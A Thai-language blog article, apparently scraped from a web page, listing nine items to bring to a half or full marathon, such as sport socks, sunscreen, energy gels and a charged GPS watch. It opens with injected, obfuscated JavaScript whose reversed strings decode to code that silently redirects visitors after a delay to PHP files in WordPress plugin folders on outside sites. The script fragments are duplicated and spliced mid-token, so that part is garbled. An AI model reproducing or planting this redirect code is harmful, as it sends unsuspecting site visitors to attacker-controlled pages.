{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</cropped-c<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andra-winata-CYOFvtpOIpU-unsplash-1140x570.jpg)
ถ้าพรุ่งนี้คืองานวิ่ง HALF หรือ FULL MARATHON การเตรียมตัวให้พร้อมจะช่วยให้คุณจบการแข่งขันได้ง่ายขึ้นหรือไม่ก็ DNF (DO NOT FINNISH) ก็ได้ การเตรียมอุปกรณ์และสิ่งจำเป็นติดตัวจะช่วยให้เราสนุกกับงานวิ่ง มีผลช่วยเพิ่มพลังใจและ BOOST PERFORMANCE ขึ้นอีกนิด
อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้
หลายๆ ครั้งที่เราต้องรู้สึกไม่พร้อม ไม่มั่นใจและเซ็งในอารมณ์เวลาเจ้ามือถือแบตหมด รองเท้าใหม่กัด หิวตลอดเวลาวิ่ง ฉะนั้นมีเจ้าอุปกรณ์ที่จำเป็น 9 อย่าง เราแนะนำต้องห้ามลืมเด็ดขาด เรามาดู CHECKLIST กัน….
1. ถุงเท้าวิ่งแบบ SPORT SOCK ไม่ใช่ถุงเท้าทำงานทั่วไป โดยส่วนมากคุณต้องลองผิดลองถูกเอง บางคนเลือกแบบ COMPRESSION SOCK แบบรัดกระชักอุ้งเท้าไปเลย แต่หลักที่สำคัญคือ ถุงเท้าต้องช่วยระบายเหงื่อได้ดี ให้ความรู้สึกกระชับ เท้าแห้งไม่อมเหงื่อ ถุงเท้ากีฬาอาจจะลื่นนิดหน่อยแต่จะช่วยป้องกันเท้าพอง (BLISTER) ถ้าคู่ดีๆ หน่อยก็จะให้ความรู้สึกหนานุ่มขึ้นมาอีก
2. วาสลีน เอาไว้ทาตามงามขา ทาตามข้อขาพับต่างๆ เพื่อลดการเสียดสีของผิวหนัง
3. หมวก VISOR กันแดดและช่วยกันเหงื่อเข้าตา แนะนำให้ใส่คู่กับแว่นตากันแดดด้วย
4. ขนมหรืออาหารสำหรับ REFUEL อย่างเช่น ENERGY GEL/BAR หรือธัญพืชอัดแท่ง และอย่าลืมเครื่องดื่ม SPORT DRINK หรือเครื่องดื่มเกลือแร่ เพราะนอกจากร่างกายจะสูญเสียน้ำแล้ว ร่างกายก็จะสูญเสียเกลือแร่ไปด้วย ปกติงานวิ่งจะมีเครื่องดื่มเกลือแร่ให้ประจำสถานี ดังนั้นบางคนจึงใช้ SALT STICK แทน เวลาวิ่งแนะนำให้ตั้งเวลาไว้เลยว่า 15-20 นาทีรับน้ำและทุกๆ 40-45 นาที REFUEL จะช่วยเติมพลังงานให้คุณจนถึงเส้นชัย
5. โลชั่น SUNSCREEN ทาก่อนออกวิ่งทุกครั้งอย่างน้อย 15 นาทีก่อนวิ่ง ยิ่งสนามวิ่งเมืองไทยแล้ว ร้อนทุกสนามและแนะนำให้ละเลงทั่วตัวเลย ไม่งั้นวิ่งปิ้งย่างผิวไหม้แน่นอน
6. นาฬิกา GPS WATCH หรือจะใช้ SMARTPHONE ก็ได้แต่สำคัญที่สุดคือแบตเตอรี่ ควรเสียบชาร์จไว้ตั้งแต่คืนก่อนวิ่งเลย ชาร์จให้แบตเต็ม 100 % จะได้ไม่ต้องดับกลางทาง และก่อนถึงเวลาวิ่งก็ควร PAIR อุปกรณ์กันก่อนให้เรียบร้อย
7. ผ้าเช็ดตัว มีประโยชน์มากเวลาวิ่งจบการแข่งขัน เวลาคุณผลัดเปลี่ยนเสื้อคุณจะได้เอาไว้เช็ดตัวให้ตัวแห้งเข้าไว้ หรือจะจุ้มน้ำบิดน้ำออกหมาดๆ เช็ดทำความสะอาดร่างกายก็ดี ไม่ต้องเสียเวลาแย่งห้องน้ำกับนักวิ่งคนอื่น และแนะนำให้ติดกระดาษทิชชู่ไว้สำรองด้วย เผื่อใช้เช้ดทำความสะอาดกรณีที่จำเป็น
8. ชุดลำลองเปลี่ยนหลังจบการวิ่งและรองเท้าแตะ อย่านั่งแช่เหงื่อให้อับชื่น มันไม่ดีต่อสุขถาพผิวหนังและร่างกายจะสูญเสียอุณหภูมิได้ง่าย ยิ่งสภาพอากาศเย็นๆ เราแนะนำให้เปลี่ยนใส่เสื้อผ้าใหม่ที่เตรียมไว้
9. น้ำและอาหารมื้อเล็กๆ สำรองไว้หลังวิ่งจบ เพราะบางครั้งเมื่อมาถึงเส้นชัยแล้ว อาหารและน้ำที่ทางผู้จัดงานเตรียมไว้อาจจะไม่เหลือแล้ว หรือมีคนมุงมากจนต้องต่อคิวนาน เราแนะนำให้รับประทานเสบียงที่เตรียมมาเพื่อรองท้องไว้ก่อนจะดีกว่า โดยเฉพาะน้ำและเครื่องดื่มเหลือแร่ มีติดไว้จะช่วยลดอาการขาดน้ำได้เยอะเลย
และอุปกรณ์แนะนำอื่นๆ ที่ควรพกมาด้วยก็อย่างเช่น เครื่องปฐมพยาบาลเบื้องต้น กรณีที่มีบาดแผลจะได้ใช้งานได้ทันท่วงที
อ้างอิง runningmagazine.ca
